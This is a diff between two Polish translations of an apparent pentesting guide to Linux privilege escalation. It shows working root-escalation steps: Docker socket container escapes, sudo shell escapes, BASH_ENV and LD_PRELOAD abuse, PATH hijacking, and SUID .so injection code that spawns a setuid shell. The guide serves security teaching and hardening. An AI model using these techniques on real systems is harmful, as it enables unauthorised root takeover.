**Włączanie Timera** -Aby włączyć timer, potrzebujesz uprawnień root i musisz wykonać: +Aby włączyć timer potrzebujesz uprawnień root i wykonania: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Zwróć uwagę, że **timer** jest **aktywowany** przez utworzenie dowiązania symbolicznego do niego w `/etc/systemd/system/.wants/.timer` +Uwaga: **timer** jest **aktywowany** przez utworzenie dowiązania symbolicznego do niego w `/etc/systemd/system/.wants/.timer` ## Gniazda -Unix Domain Sockets (UDS) umożliwiają **komunikację między procesami** na tej samej lub różnych maszynach w modelu klient-serwer. Wykorzystują standardowe pliki deskryptorów Unix do komunikacji między komputerami i są konfigurowane za pomocą plików `.socket`. +Unix Domain Sockets (UDS) umożliwiają **komunikację między procesami** na tej samej lub różnych maszynach w modelach klient-serwer. Wykorzystują standardowe pliki deskryptorów Unix do komunikacji między komputerami i są konfigurowane przez pliki `.socket`. -Sockets can be configured using `.socket` files. +Gniazda można konfigurować przy użyciu plików `.socket`. -**Dowiedz się więcej o sockets za pomocą `man systemd.socket`.** W tym pliku można skonfigurować kilka interesujących parametrów: +**Dowiedz się więcej o gniazdach za pomocą `man systemd.socket`.** Wewnątrz tego pliku można skonfigurować kilka interesujących parametrów: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Te opcje różnią się, ale w skrócie służą do **wskazania, gdzie socket będzie nasłuchiwał** (ścieżka pliku gniazda AF_UNIX, adres IPv4/6 i/lub numer portu do nasłuchu itp.) -- `Accept`: Przyjmuje argument typu boolean. Jeśli **true**, dla każdego przychodzącego połączenia **tworzona jest instancja service** i przekazywany jest do niej tylko socket połączenia. Jeśli **false**, wszystkie gniazda nasłuchujące są **przekazywane do uruchomionej jednostki service**, i tworzona jest tylko jedna jednostka service dla wszystkich połączeń. Ta wartość jest ignorowana dla socketów datagramowych i FIFO, gdzie pojedyncza jednostka service bezwarunkowo obsługuje cały ruch przychodzący. **Domyślnie** `false`. Ze względów wydajnościowych zaleca się pisać nowe demony tak, aby były zgodne z `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Przyjmują jedną lub więcej linii poleceń, które są **wykonywane przed** lub **po** utworzeniu i powiązaniu nasłuchujących **socketów**/FIFO, odpowiednio. Pierwszym tokenem linii poleceń musi być absolutna ścieżka pliku wykonywalnego, a następnie argumenty dla procesu. -- `ExecStopPre`, `ExecStopPost`: Dodatkowe **polecenia**, które są **wykonywane przed** lub **po** zamknięciu i usunięciu nasłuchujących **socketów**/FIFO, odpowiednio. -- `Service`: Określa nazwę jednostki **service**, którą należy **aktywować** przy **ruchu przychodzącym**. To ustawienie jest dozwolone tylko dla socketów z Accept=no. Domyślnie wskazuje na service o tej samej nazwie co socket (z odpowiednią zmianą sufiksu). W większości przypadków nie jest konieczne używanie tej opcji. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Te opcje różnią się, ale w skrócie służą do **wskazania, gdzie będą nasłuchiwać** na gniazdo (ścieżka pliku gniazda AF_UNIX, adres IPv4/6 i/lub numer portu do nasłuchiwania, itp.) +- `Accept`: Przyjmuje argument boolean. Jeśli **true**, dla każdego przychodzącego połączenia tworzona jest **instancja usługi**, i jedynie gniazdo połączenia jest jej przekazywane. Jeśli **false**, wszystkie gniazda nasłuchujące są **przekazywane do uruchomionej jednostki serwisowej**, i tworzona jest tylko jedna jednostka serwisowa dla wszystkich połączeń. Ta wartość jest ignorowana dla gniazd datagramowych i FIFO, gdzie pojedyncza jednostka serwisowa bezwarunkowo obsługuje cały przychodzący ruch. **Domyślnie false**. Ze względów wydajnościowych zalecane jest pisanie nowych daemonów w sposób zgodny z `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Przyjmują jedną lub więcej linii poleceń, które są **wykonywane przed** lub **po** utworzeniu i powiązaniu nasłuchujących **gniazd**/FIFO, odpowiednio. Pierwszy token linii poleceń musi być bezwzględną ścieżką pliku wykonywalnego, po którym następują argumenty dla procesu. +- `ExecStopPre`, `ExecStopPost`: Dodatkowe **polecenia**, które są **wykonywane przed** lub **po** zamknięciu i usunięciu nasłuchujących **gniazd**/FIFO, odpowiednio. +- `Service`: Określa nazwę jednostki **service**, którą należy **aktywować** przy **przychodzącym ruchu**. To ustawienie jest dozwolone tylko dla gniazd z Accept=no. Domyślnie wskazuje usługę o tej samej nazwie co socket (z zamienionym sufiksem). W większości przypadków nie powinno być konieczne używanie tej opcji. -### Zapisowalne pliki `.socket` +### Zapisowalne .socket files -Jeśli znajdziesz **zapisowalny** plik `.socket`, możesz **dodać** na początku sekcji `[Socket]` coś w stylu: `ExecStartPre=/home/kali/sys/backdoor` i backdoor zostanie wykonany zanim socket zostanie utworzony. W związku z tym **prawdopodobnie będziesz musiał poczekać na reboot maszyny.**\ -_Należy pamiętać, że system musi korzystać z tej konfiguracji pliku socket, w przeciwnym razie backdoor nie zostanie uruchomiony_ +Jeśli znajdziesz **zapisowalny** `.socket` plik możesz **dodać** na początku sekcji `[Socket]` coś w stylu: `ExecStartPre=/home/kali/sys/backdoor` i backdoor zostanie uruchomiony przed utworzeniem socketu. W związku z tym **prawdopodobnie będziesz musiał poczekać na restart maszyny.**\ +_Note that the system must be using that socket file configuration or the backdoor won't be executed_ ### Zapisowalne gniazda -Jeśli **zidentyfikujesz któreś zapisowalne gniazdo** (_mówimy tu o Unix Sockets, a nie o plikach konfiguracyjnych `.socket`_), to **możesz komunikować się** z tym gniazdem i być może wykorzystać jakąś lukę. +Jeśli **zidentyfikujesz jakiekolwiek zapisywalne gniazdo** (_mówimy tu teraz o Unix Sockets i nie o plikach konfiguracyjnych `.socket`_), to **możesz komunikować się** z tym gniazdem i być może wykorzystać podatność. -### Enumeracja Unix Domain Sockets +### Enumeracja Unix Sockets ```bash netstat -a -p --unix ``` @@ -530,7 +528,7 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket #apt-get install socat socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type ``` -**Exploitation example:** +**Przykład eksploatacji:** {{#ref}} @@ -543,24 +541,24 @@ Zwróć uwagę, że może istnieć kilka **sockets listening for HTTP** requests ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Jeśli socket **odpowiada na żądanie HTTP**, możesz się z nim **komunikować** i być może **exploit some vulnerability**. +Jeśli socket **odpowiada na żądania HTTP**, możesz z nim **komunikować się** i być może **wykorzystać jakąś lukę**. -### Zapisywalny Docker socket +### Zapisalny socket Dockera -Docker socket, często znajdujący się w `/var/run/docker.sock`, to krytyczny plik, który należy zabezpieczyć. Domyślnie jest zapisywalny przez użytkownika `root` i członków grupy `docker`. Posiadanie dostępu zapisu do tego socketu może prowadzić do eskalacji uprawnień. Poniżej opisano, jak można to zrobić, oraz alternatywne metody, jeśli Docker CLI nie jest dostępne. +Socket Dockera, często znajdujący się pod `/var/run/docker.sock`, to krytyczny plik, który powinien być zabezpieczony. Domyślnie jest zapisywalny przez użytkownika `root` oraz członków grupy `docker`. Posiadanie dostępu zapisu do tego socketu może prowadzić do eskalacji uprawnień. Poniżej znajduje się opis, jak można to zrobić oraz alternatywne metody, jeśli Docker CLI nie jest dostępne. #### **Privilege Escalation with Docker CLI** -Jeśli masz dostęp zapisu do Docker socket, możesz eskalować uprawnienia, używając następujących poleceń: +Jeśli masz dostęp zapisu do socketu Dockera, możesz eskalować uprawnienia, używając następujących poleceń: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Te polecenia pozwalają uruchomić kontener z dostępem root do systemu plików hosta. +Te polecenia pozwalają uruchomić kontener z uprawnieniami roota do systemu plików hosta. -#### **Używanie Docker API bezpośrednio** +#### **Korzystanie bezpośrednio z Docker API** -W sytuacjach, gdy Docker CLI nie jest dostępny, Docker socket można nadal obsługiwać przy pomocy Docker API i poleceń `curl`. +Jeśli Docker CLI nie jest dostępny, Docker socket można nadal obsłużyć za pomocą Docker API i poleceń `curl`. 1. **List Docker Images:** Pobierz listę dostępnych obrazów. @@ -568,7 +566,7 @@ W sytuacjach, gdy Docker CLI nie jest dostępny, Docker socket można nadal obs curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** Wyślij żądanie utworzenia kontenera, który montuje katalog root hosta. +2. **Create a Container:** Wyślij żądanie utworzenia kontenera, który montuje katalog główny hosta. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create @@ -590,13 +588,13 @@ Connection: Upgrade Upgrade: tcp ``` -Po nawiązaniu połączenia `socat` możesz wykonywać polecenia bezpośrednio w kontenerze z dostępem root do systemu plików hosta. +Po nawiązaniu połączenia `socat` możesz wykonywać polecenia bezpośrednio w kontenerze z uprawnieniami roota do systemu plików hosta. ### Inne -Zauważ, że jeśli masz uprawnienia zapisu do docker socket, ponieważ jesteś **wewnątrz grupy `docker`**, masz [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Jeśli [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Zauważ, że jeśli masz prawa zapisu do docker socket ponieważ jesteś **w grupie `docker`** to masz [**więcej sposobów na eskalację uprawnień**](interesting-groups-linux-pe/index.html#docker-group). Jeśli [**docker API nasłuchuje na porcie** możesz także być w stanie go przejąć](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Sprawdź **more ways to break out from docker or abuse it to escalate privileges** w: +Sprawdź **więcej sposobów na wydostanie się z docker lub wykorzystanie go do eskalacji uprawnień** w: {{#ref}} @@ -605,7 +603,7 @@ docker-security/ ## Containerd (ctr) eskalacja uprawnień -Jeśli możesz użyć polecenia **`ctr`**, przeczytaj następującą stronę — **możesz być w stanie wykorzystać je do eskalacji uprawnień**: +Jeśli możesz użyć polecenia **`ctr`**, przeczytaj następującą stronę, ponieważ **możesz być w stanie wykorzystać je do eskalacji uprawnień**: {{#ref}} @@ -623,15 +621,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus to zaawansowany system komunikacji międzyprocesowej (IPC), który umożliwia aplikacjom efektywną współpracę i wymianę danych. Zaprojektowany z myślą o nowoczesnym systemie Linux, oferuje solidne ramy dla różnych form komunikacji między aplikacjami. +D-Bus to zaawansowany system **inter-Process Communication (IPC)**, który umożliwia aplikacjom efektywną interakcję i wymianę danych. Zaprojektowany z myślą o nowoczesnym systemie Linux, oferuje solidne ramy dla różnych form komunikacji między aplikacjami. -System jest wszechstronny — obsługuje podstawową komunikację międzyprocesową, usprawniając wymianę danych między procesami, przypominając **enhanced UNIX domain sockets**. Ponadto pomaga w rozgłaszaniu zdarzeń lub sygnałów, ułatwiając płynną integrację pomiędzy składnikami systemu. Na przykład sygnał od demona Bluetooth o przychodzącym połączeniu może spowodować wyciszenie odtwarzacza muzyki, poprawiając doświadczenie użytkownika. Dodatkowo D-Bus obsługuje system zdalnych obiektów, ułatwiając żądania usług i wywołania metod między aplikacjami oraz upraszczając procesy, które kiedyś były skomplikowane. +System jest wszechstronny, obsługuje podstawową IPC, która poprawia wymianę danych między procesami, przypominając **enhanced UNIX domain sockets**. Ponadto pomaga w rozgłaszaniu zdarzeń lub sygnałów, ułatwiając płynną integrację między komponentami systemu. Na przykład sygnał od demona Bluetooth o przychodzącym połączeniu może spowodować wyciszenie odtwarzacza muzyki, poprawiając doświadczenie użytkownika. Dodatkowo D-Bus obsługuje system zdalnych obiektów, upraszczając żądania usług i wywołania metod między aplikacjami, usprawniając procesy, które wcześniej były skomplikowane. -D-Bus działa w modelu **allow/deny**, zarządzając uprawnieniami do wiadomości (wywołania metod, emisje sygnałów itp.) w oparciu o kumulatywny efekt pasujących reguł polityki. Te polityki określają interakcje z bussem, co potencjalnie może umożliwić eskalację uprawnień przez wykorzystanie tych uprawnień. +D-Bus działa w modelu **allow/deny**, zarządzając uprawnieniami do wiadomości (wywołania metod, emisje sygnałów, itd.) na podstawie skumulowanego efektu pasujących reguł polityki. Te polityki określają interakcje z bus, co może potencjalnie umożliwić eskalację uprawnień poprzez nadużycie tych zezwoleń. -Przykład takiej polityki w /etc/dbus-1/system.d/wpa_supplicant.conf pokazano poniżej — określa ona uprawnienia użytkownika root do posiadania, wysyłania i odbierania wiadomości od `fi.w1.wpa_supplicant1`. +Przykład takiej polityki w /etc/dbus-1/system.d/wpa_supplicant.conf pokazano poniżej — opisuje uprawnienia użytkownika root do posiadania, wysyłania i odbierania wiadomości od `fi.w1.wpa_supplicant1`. -Polityki bez określonego użytkownika lub grupy mają zastosowanie globalne, natomiast polityki w kontekście "default" dotyczą wszystkich, którzy nie są objęci przez inne specyficzne polityki. +Polityki bez określonego użytkownika lub grupy stosują się uniwersalnie, podczas gdy polityki w kontekście "default" dotyczą wszystkich, którzy nie są objęci innymi, konkretnymi politykami. ```xml @@ -642,13 +640,14 @@ Polityki bez określonego użytkownika lub grupy mają zastosowanie globalne, na ``` **Dowiedz się tutaj, jak enumerate i exploit komunikację D-Bus:** + {{#ref}} d-bus-enumeration-and-command-injection-privilege-escalation.md {{#endref}} ## **Sieć** -Zawsze warto enumerate sieć i określić pozycję maszyny. +Zawsze warto enumerate sieci i określić pozycję maszyny. ### Ogólna enumeration ```bash @@ -675,14 +674,14 @@ lsof -i ``` ### Otwarte porty -Zawsze sprawdź usługi sieciowe uruchomione na maszynie, z którymi nie mogłeś się komunikować przed uzyskaniem do niej dostępu: +Zawsze sprawdź usługi sieciowe działające na maszynie, z którymi nie mogłeś wcześniej wchodzić w interakcję przed uzyskaniem do niej dostępu: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -Sprawdź, czy możesz sniff traffic. Jeśli tak, możesz być w stanie zdobyć credentials. +Sprawdź, czy możesz sniff traffic. Jeśli tak, możesz być w stanie przechwycić jakieś poświadczenia. ``` timeout 1 tcpdump ``` @@ -690,7 +689,7 @@ timeout 1 tcpdump ### Ogólna enumeracja -Sprawdź **kim** jesteś, jakie **uprawnienia** posiadasz, którzy **użytkownicy** są w systemie, którzy mogą się **zalogować** i którzy mają **przywileje roota**: +Sprawdź, **who** jesteś, jakie masz **privileges**, jacy **users** są w systemie, którzy mogą **login** i którzy mają **root privileges**: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -714,12 +713,12 @@ gpg --list-keys 2>/dev/null ``` ### Duży UID -Niektóre wersje Linuksa były dotknięte błędem, który pozwala użytkownikom z **UID > INT_MAX** na eskalację uprawnień. Więcej informacji: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) i [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**Wykorzystaj to** używając: **`systemd-run -t /bin/bash`** +Niektóre wersje Linuksa były podatne na błąd, który pozwala użytkownikom z **UID > INT_MAX** eskalować uprawnienia. Więcej informacji: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**Exploit it** używając: **`systemd-run -t /bin/bash`** ### Grupy -Sprawdź, czy jesteś **członkiem jakiejś grupy**, która mogłaby przyznać ci uprawnienia root: +Sprawdź, czy jesteś **członkiem jakiejś grupy**, która mogłaby przyznać Ci uprawnienia roota: {{#ref}} @@ -728,7 +727,7 @@ interesting-groups-linux-pe/ ### Schowek -Sprawdź, czy w schowku znajduje się coś interesującego (jeśli to możliwe) +Sprawdź, czy w schowku nie ma nic interesującego (jeśli to możliwe) ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -745,27 +744,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### Znane hasła -If you **know any password** of the environment **try to login as each user** using the password. +Jeśli **znasz jakiekolwiek hasło** środowiska **spróbuj zalogować się jako każdy użytkownik** używając tego hasła. ### Su Brute -If don't mind about doing a lot of noise and `su` and `timeout` binaries are present on the computer, you can try to brute-force user using [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) with `-a` parameter also try to brute-force users. +Jeżeli nie przeszkadza Ci generowanie dużego hałasu i na komputerze są dostępne binarki `su` i `timeout`, możesz spróbować przeprowadzić brute-force użytkownika używając [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) z parametrem `-a` również próbuje przeprowadzać brute-force na użytkownikach. -## Nadużycia zapisywalnego $PATH +## Nadużycia zapisywalnego PATH ### $PATH -If you find that you can **write inside some folder of the $PATH** you may be able to escalate privileges by **creating a backdoor inside the writable folder** with the name of some command that is going to be executed by a different user (root ideally) and that is **not loaded from a folder that is located previous** to your writable folder in $PATH. +Jeśli znajdziesz, że możesz **zapisywać w jakimś folderze z $PATH** możesz być w stanie eskalować uprawnienia poprzez **utworzenie backdoor w zapisywalnym folderze** o nazwie jakiegoś polecenia, które ma być wykonywane przez innego użytkownika (najlepiej root) i które **nie jest ładowane z folderu, który znajduje się wcześniej** w $PATH niż twój zapisywalny folder. -### SUDO and SUID +### SUDO i SUID -You could be allowed to execute some command using sudo or they could have the suid bit. Check it using: +Możesz mieć pozwolenie na uruchomienie pewnego polecenia za pomocą sudo lub polecenia mogą mieć ustawiony bit suid. Sprawdź to używając: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Niektóre **nieoczekiwane polecenia pozwalają odczytywać i/lub zapisywać pliki, a nawet wykonać polecenie.** Na przykład: +Niektóre **nieoczekiwane polecenia pozwalają na odczyt i/lub zapis plików, a nawet wykonanie polecenia.** Na przykład: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -776,36 +775,36 @@ less>! ``` ### NOPASSWD -Konfiguracja Sudo może pozwolić użytkownikowi na uruchomienie niektórych poleceń z uprawnieniami innego użytkownika bez znajomości hasła. +Konfiguracja sudo może pozwolić użytkownikowi na uruchomienie pewnego polecenia z uprawnieniami innego użytkownika bez podawania hasła. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -W tym przykładzie użytkownik `demo` może uruchamiać `vim` jako `root`, więc łatwo uzyskać shell, dodając ssh key do katalogu `root` lub wywołując `sh`. +W tym przykładzie użytkownik `demo` może uruchomić `vim` jako `root`. Zdobycie `shell` jest teraz trywialne — wystarczy dodać klucz ssh do katalogu `root` lub wywołać `sh`. ``` sudo vim -c '!sh' ``` ### SETENV -Ta dyrektywa pozwala użytkownikowi **ustawić zmienną środowiskową** podczas wykonywania czegoś: +Ta dyrektywa pozwala użytkownikowi **set an environment variable** podczas wykonywania czegoś: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Ten przykład, **oparty na maszynie HTB Admirer**, był **vulnerable** na **PYTHONPATH hijacking**, pozwalający załadować dowolną bibliotekę python podczas uruchamiania skryptu jako root: +Ten przykład, **oparty na HTB machine Admirer**, był **podatny** na **PYTHONPATH hijacking**, umożliwiając załadowanie dowolnej biblioteki python podczas uruchamiania skryptu jako root: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` ### BASH_ENV zachowane przez sudo env_keep → root shell -Jeśli sudoers zachowuje `BASH_ENV` (np. `Defaults env_keep+="ENV BASH_ENV"`), możesz wykorzystać nieinteraktywny proces startowy Basha, aby uruchomić dowolny kod jako root podczas wywołania dozwolonego polecenia. +Jeśli sudoers zachowuje `BASH_ENV` (np. `Defaults env_keep+="ENV BASH_ENV"`), możesz wykorzystać zachowanie Bash przy uruchamianiu nieinteraktywnym, aby uruchomić dowolny kod jako root podczas wywoływania dozwolonego polecenia. -- Dlaczego to działa: Dla powłok nieinteraktywnych Bash ocenia `$BASH_ENV` i wczytuje (sources) ten plik przed uruchomieniem docelowego skryptu. Wiele reguł sudo pozwala na uruchomienie skryptu lub wrappera powłoki. Jeśli `BASH_ENV` jest zachowane przez sudo, Twój plik zostanie wczytany z uprawnieniami roota. +- Dlaczego to działa: Dla powłok nieinteraktywnych Bash ocenia `$BASH_ENV` i wczytuje ten plik przed uruchomieniem docelowego skryptu. Wiele reguł sudo pozwala na uruchomienie skryptu lub wrappera powłoki. Jeśli `BASH_ENV` jest zachowane przez sudo, twój plik zostanie wczytany z uprawnieniami roota. - Wymagania: -- Reguła sudo, którą możesz uruchomić (dowolny cel, który wywołuje `/bin/bash` w trybie nieinteraktywnym, lub dowolny skrypt bash). +- Reguła sudo, którą możesz uruchomić (dowolny cel wywołujący `/bin/bash` nieinteraktywnie lub dowolny skrypt bash). - `BASH_ENV` obecne w `env_keep` (sprawdź za pomocą `sudo -l`). - PoC: @@ -818,14 +817,14 @@ chmod +x /dev/shm/shell.sh BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/binary that triggers bash # You should now have a root shell ``` -- Hardening: -- Usuń `BASH_ENV` (i `ENV`) z `env_keep`, użyj raczej `env_reset`. -- Unikaj wrapperów shellowych dla poleceń dozwolonych przez sudo; używaj minimalnych binariów. -- Rozważ logowanie I/O sudo i alertowanie, gdy używane są zachowane zmienne env. +- Wzmocnienie zabezpieczeń: +- Usuń `BASH_ENV` (i `ENV`) z `env_keep`, stosuj `env_reset`. +- Unikaj wrapperów powłoki dla poleceń dozwolonych przez sudo; używaj minimalnych binarek. +- Rozważ logowanie I/O sudo i alertowanie, gdy wykorzystywane są zachowane zmienne środowiskowe. -### Ścieżki obejścia wykonania sudo +### Ścieżki omijające wykonanie przez sudo -**Przejdź** aby przeczytać inne pliki lub użyj **symlinks**. Na przykład w pliku sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Przejdź** żeby przeczytać inne pliki lub użyj **dowiązań symbolicznych**. Na przykład w pliku sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -842,39 +841,39 @@ sudo less /var/log/something /etc/shadow #Red 2 files ``` **Środki zaradcze**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo command/SUID binary bez ścieżki do polecenia +### Sudo command/SUID binary bez określonej ścieżki polecenia -Jeśli **sudo permission** jest nadane pojedynczemu poleceniu **bez określenia ścieżki**: _hacker10 ALL= (root) less_ możesz to wykorzystać, zmieniając zmienną PATH +Jeśli **uprawnienie sudo** jest przyznane dla pojedynczego polecenia **bez określenia ścieżki**: _hacker10 ALL= (root) less_ możesz je wykorzystać, zmieniając zmienną PATH. ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Technika ta może być również użyta, jeśli binarka **suid** **wywołuje inną komendę bez podania ścieżki do niej (zawsze sprawdź za pomocą** _**strings**_ **zawartość dziwnej binarki SUID)**. +Technikę tę można również zastosować, jeśli **suid** binary **wykonuje inne polecenie bez podania jego ścieżki (zawsze sprawdź za pomocą** _**strings**_ **zawartość dziwnego pliku SUID)**). [Payload examples to execute.](payloads-to-execute.md) -### Binarka SUID ze ścieżką do komendy +### SUID binary with command path -Jeśli binarka **suid** **wywołuje inną komendę, podając ścieżkę**, możesz spróbować **wyeksportować funkcję** nazwaną tak jak komenda, którą wywołuje plik suid. +Jeżeli **suid** binary **wykonuje inne polecenie, podając ścieżkę**, możesz spróbować **eksportować funkcję** nazwaną tak, jak polecenie, które wywołuje plik suid. -Na przykład, jeśli binarka suid wywołuje _**/usr/sbin/service apache2 start**_, musisz spróbować stworzyć funkcję i ją wyeksportować: +Na przykład, jeśli suid binary wywołuje _**/usr/sbin/service apache2 start**_ musisz spróbować utworzyć funkcję i ją wyeksportować: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Wówczas, gdy wywołasz suid binary, ta funkcja zostanie uruchomiona +Następnie, kiedy wywołasz binarkę suid, ta funkcja zostanie wykonana ### LD_PRELOAD & **LD_LIBRARY_PATH** -Zmienna środowiskowa **LD_PRELOAD** służy do wskazania jednej lub więcej bibliotek współdzielonych (.so files), które loader ma załadować przed wszystkimi innymi, w tym przed standardową biblioteką C (`libc.so`). Ten proces nazywa się preloadingiem biblioteki. +Zmienna środowiskowa **LD_PRELOAD** służy do wskazania jednej lub większej liczby bibliotek współdzielonych (.so files), które loader ma załadować przed wszystkimi innymi, w tym przed standardową biblioteką C (`libc.so`). Ten proces nazywa się wstępnym ładowaniem biblioteki. -Jednak aby zachować bezpieczeństwo systemu i zapobiec wykorzystaniu tej funkcji, szczególnie w przypadku **suid/sgid** executable, system wymusza pewne warunki: +Jednak, aby utrzymać bezpieczeństwo systemu i zapobiec wykorzystaniu tej funkcji, szczególnie w przypadku wykonywalnych plików **suid/sgid**, system wymusza pewne warunki: -- Loader ignoruje **LD_PRELOAD** dla executable, gdzie real user ID (_ruid_) nie zgadza się z effective user ID (_euid_). -- Dla executable z suid/sgid, preloadowane są tylko biblioteki znajdujące się w standardowych ścieżkach, które również są suid/sgid. +- Loader ignoruje **LD_PRELOAD** dla wykonywalnych plików, w których rzeczywisty identyfikator użytkownika (_ruid_) nie zgadza się z efektywnym identyfikatorem użytkownika (_euid_). +- Dla plików wykonywalnych z suid/sgid wstępnie ładowane są tylko biblioteki znajdujące się w standardowych ścieżkach, które same są suid/sgid. -Escalation uprawnień może wystąpić, jeśli masz możliwość wykonywania poleceń za pomocą `sudo` i wynik `sudo -l` zawiera wpis **env_keep+=LD_PRELOAD**. Taka konfiguracja pozwala, by zmienna środowiskowa **LD_PRELOAD** przetrwała i była rozpoznawana nawet podczas uruchamiania poleceń z `sudo`, co potencjalnie prowadzi do wykonania dowolnego kodu z podwyższonymi uprawnieniami. +Privilege escalation może wystąpić, jeśli masz możliwość wykonywania poleceń z użyciem `sudo` i wynik `sudo -l` zawiera wpis **env_keep+=LD_PRELOAD**. Ta konfiguracja pozwala, aby zmienna środowiskowa **LD_PRELOAD** utrzymywała się i była rozpoznawana nawet podczas uruchamiania poleceń przez `sudo`, co potencjalnie może prowadzić do wykonania dowolnego kodu z podwyższonymi uprawnieniami. ``` Defaults env_keep += LD_PRELOAD ``` @@ -901,7 +900,7 @@ Na koniec, **escalate privileges** uruchamiając sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Podobny privesc może być wykorzystany, jeśli atakujący kontroluje zmienną środowiskową **LD_LIBRARY_PATH**, ponieważ kontroluje ścieżkę, w której będą wyszukiwane biblioteki. +> Podobny privesc można wykorzystać, jeśli atakujący kontroluje zmienną środowiskową **LD_LIBRARY_PATH**, ponieważ kontroluje ścieżkę, w której będą wyszukiwane biblioteki. ```c #include #include @@ -923,13 +922,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Gdy natrafisz na binary z uprawnieniami **SUID**, które wydają się nietypowe, dobrze jest sprawdzić, czy poprawnie ładuje pliki **.so**. Można to sprawdzić, uruchamiając następujące polecenie: +Jeśli napotkasz binary z uprawnieniami **SUID**, które wydają się nietypowe, warto sprawdzić, czy poprawnie ładuje pliki **.so**. Można to zweryfikować, uruchamiając następujące polecenie: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Na przykład, napotkanie błędu takiego jak _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ sugeruje potencjalną możliwość eksploatacji. +Na przykład, napotkanie błędu takiego jak _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ sugeruje potencjalną możliwość wykorzystania. -Aby to wykorzystać, należy utworzyć plik C, np. _"/path/to/.config/libcalc.c"_, zawierający następujący kod: +Aby to wykorzystać, należy stworzyć plik C, np. _"/path/to/.config/libcalc.c"_, zawierający następujący kod: ```c #include #include @@ -940,13 +939,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Ten kod, po skompilowaniu i uruchomieniu, ma na celu eskalację uprawnień poprzez manipulowanie uprawnieniami plików i uruchomienie shella z podwyższonymi uprawnieniami. +Ten kod, po skompilowaniu i uruchomieniu, ma na celu podniesienie uprawnień poprzez manipulowanie uprawnieniami plików i uruchomienie powłoki z podwyższonymi uprawnieniami. -Skompiluj powyższy plik C do pliku shared object (.so) poleceniem: +Skompiluj powyższy plik C do pliku obiektu współdzielonego (.so) za pomocą: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Na koniec uruchomienie dotkniętego SUID binary powinno wywołać exploit, umożliwiając potencjalną kompromitację systemu. +Na koniec uruchomienie dotkniętego SUID binary powinno wywołać exploit, umożliwiając potencjalne przejęcie systemu. ## Shared Object Hijacking ```bash @@ -958,7 